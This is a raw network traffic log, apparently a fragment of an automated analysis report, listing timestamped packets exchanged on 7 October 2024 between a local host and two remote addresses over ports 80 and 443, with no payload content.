Oct 7, 2024 03:23:19.569473982 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569477081 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569498062 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569503069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569511890 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569513083 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569536924 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569544077 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569638014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569648981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569658995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569669962 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569684029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569689035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569700003 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569709063 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569715977 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569741964 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569760084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569770098 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569780111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569797993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569798946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569808006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569817066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569818020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569829941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569838047 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569842100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569844007 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569852114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.569865942 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.569885015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610137939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610150099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610167980 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610177040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610188007 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610199928 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610217094 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610227108 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610233068 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610236883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610254049 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610270023 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610352993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610363960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610373974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610399008 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610413074 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610416889 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610428095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610456944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610456944 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610456944 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610466957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610507011 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610507011 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610538960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610549927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610558987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610570908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610583067 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610604048 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610624075 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610629082 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610641003 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610675097 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610702991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610713005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610717058 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610727072 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610739946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610745907 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610752106 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610757113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610774994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610788107 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610793114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610827923 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610832930 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610913038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610918999 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610924006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610934973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610944986 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610955000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610963106 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610963106 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610980034 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.610984087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.610994101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611004114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611020088 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611027002 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611040115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611581087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611589909 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611594915 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611612082 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611623049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611630917 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611634016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611644983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611665010 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611677885 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611689091 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611715078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611746073 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611762047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611792088 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611927032 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611937046 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611947060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611958981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611968994 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611974955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.611979961 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611990929 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.611991882 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612003088 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612004042 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612015009 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612024069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612025976 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612035036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612046003 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612049103 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612062931 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612081051 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612128973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612139940 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612149000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612159967 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612164974 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612170935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612171888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612180948 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612188101 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612191916 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612204075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612205029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612211943 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612216949 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612236023 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612255096 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612281084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612291098 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612301111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612309933 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612315893 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612338066 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612339973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612345934 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.612358093 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.612385988 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.616178989 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.617005110 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.628285885 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.643476009 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.651043892 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651066065 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651082039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651096106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651108980 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651165962 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651177883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651189089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651200056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651221037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651231050 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651242971 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651252031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651252031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651252031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651252031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651253939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651269913 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651274920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651287079 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651297092 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651302099 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651308060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651319981 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651325941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651345968 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651349068 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651362896 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651374102 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651380062 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651405096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651408911 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651420116 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651432037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651433945 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651441097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.651460886 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.651487112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.658071041 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.658116102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.658128023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.658174992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.658179998 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.658186913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.658199072 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.658210993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.658216953 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.658240080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.658263922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.662134886 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.665134907 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.665608883 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670428038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670439005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670449972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670485973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670499086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670507908 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670510054 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670542955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670552969 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670582056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670593023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670603991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670615911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670625925 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670627117 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670625925 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.670639992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670651913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670653105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670663118 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.670670986 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670670986 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.670690060 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.670717955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.671165943 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.671170950 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.671586990 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.671636105 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.674738884 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.674751997 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.677118063 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.677140951 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.677153111 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.677159071 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.686024904 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.686031103 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.686297894 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.686311960 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.686614037 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.686619997 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.686713934 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.686723948 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.693835974 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.693864107 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.693978071 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.694128036 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.694138050 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.698714972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698736906 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698782921 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.698849916 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698862076 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698873043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698884964 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698890924 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.698909044 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.698915005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698925972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.698932886 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699018002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699028015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699029922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699040890 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699052095 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699070930 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699073076 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699084997 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699095011 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699105978 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699119091 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699120998 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699177980 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699197054 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699208021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699223995 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699229002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699239016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699251890 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699259043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699276924 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699285984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699289083 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699305058 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699327946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699331045 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699343920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699354887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699367046 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699388027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699394941 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699462891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699474096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699485064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699496984 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.699503899 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699518919 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.699541092 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700095892 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700107098 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700119972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700143099 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700154066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700175047 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700177908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700189114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700195074 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700203896 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700215101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700282097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700293064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700311899 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700314045 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700328112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700333118 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700341940 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700352907 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700354099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700366020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700377941 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700378895 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700390100 CEST	80	49879	185.215.113.103	192.168.2.4
